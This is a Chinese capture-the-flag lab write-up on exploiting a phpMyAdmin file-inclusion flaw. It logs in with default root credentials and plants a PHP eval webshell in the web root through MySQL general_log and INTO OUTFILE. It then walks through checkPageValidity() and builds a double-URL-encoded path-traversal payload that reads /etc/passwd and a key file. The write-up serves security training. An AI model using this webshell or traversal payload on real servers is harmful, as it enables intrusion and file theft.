07#墨者靶场-phpMyAdmin后台文件包含分析溯源

                                               墨者学习

                                              By/shy014

地址:https://www.mozhe.cn/bug/detail/RDM4VFA0aHFWT25Na09mdmhqcklxdz09bW96aGUmozhe

1.在墨者学院找到该靶场并点击启动靶场

2.点击访问,进入靶场环境,并尝试默认口令(root,root),登陆成功

3.查看MySQL是否限制导入导

show global variables like '%secure%';

4.查看MySQL日志状态

show variables like '%general%';

5.利用日志文件写入一句话木马

开启general_log :set global general_log='on';


设置日志写入文件:

SET global general_log_file='/var/www/html/shy.php';

执行命令,自动写入日志:SELECT '<?php @eval($_POST[shy]);?>';

6.访问日志文件,由于linux权限限制,禁止访问,不能执行,个体设立了失败。

7.尝试直接通过into outfile写入一句话木马,访问执行成功

select '<?php eval($_POST[shy]); ?>' into outfile '/var/www/html/shy.php';

8.使用菜刀连接,下载存在文件包含的PHP文件index.php进行分析

9.对index.php进行分析,发现第55到63行存在问题

if (! empty($_REQUEST['target'])

判断非空

&& is_string($_REQUEST['target'])

判断是否是字符串

&& ! preg_match('/^index/', $_REQUEST['target'])

判断不能以index开头

&& ! in_array($_REQUEST['target'], $target_blacklist)

判断是否在$target_blacklist数组中

&& Core::checkPageValidity($_REQUEST['target'])

判断是否满足checkPageValidity()函数

) {

include $_REQUEST['target'];

包含通过判断的target

    exit;

}

10.找到 $target_blacklist在第50行,只要 target 参数不是 import.php 或 export.php 就可以

11.从菜刀中找到core.php下载并进行分析

 

12.找到checkPageValidity函数,在第443行, 发现checkPageValidity() 函数中有三个地方返回true,这三个地方都是判断变量$_page的值是否在白名单数组$whitelist

     白名单数组$whitelist的值如下:

checkPageValidity() 函数及分析如下:

public static function checkPageValidity(&$page, array $whitelist = [])

    {

        if (empty($whitelist)) {

            $whitelist = self::$goto_whitelist;

        }

        if (! isset($page) || !is_string($page)) {

            return false;

        }

 

        if (in_array($page, $whitelist)) {

            return true;

这里是将未经过任何处理的参数$page的值判断是否在$whitelist白名单中

        }

        $_page = mb_substr(

            $page,

            0,

            mb_strpos($page . '?', '?')

        );

        if (in_array($_page, $whitelist)) {

            return true;

        }

mb_substr() 函数返回字符串的一部分

mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置

所以这里就可以通过?/../../../../../../etc/passwd绕过白名单限制

        $_page = urldecode($page);

        $_page = mb_substr(

            $_page,

            0,

            mb_strpos($_page . '?', '?')

        );

        if (in_array($_page, $whitelist)) {

            return true;

        }

这里多了一个urldecode()函数,可以利用双重url编码绕过

可以把?双重编码为%253f进行绕过白名单限制

%253/../../../../../../etc/passwd

 

        return false;

}

根据以上分析可以构建payload进行包含

Payload: db_sql.php%253f%20/../../../../../../要包含的文件

db_sql.php%253f%20是被当作目录进行上跳

尝试利用payload包含passwd文件,读取成功,

http://219.153.49.228:49788/index.php?target=db_sql.php%253f%20/../../../../../../etc/passwd

14.包含根目录下key.txt文件,获取key值

http://219.153.49.228:49788/index.php?target=db_sql.php%253f%20/../../../../../../key.txt

15.提交key值,完成靶机

发布了41 篇原创文章 · 获赞 5 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_32393893/article/details/103200713
今日推荐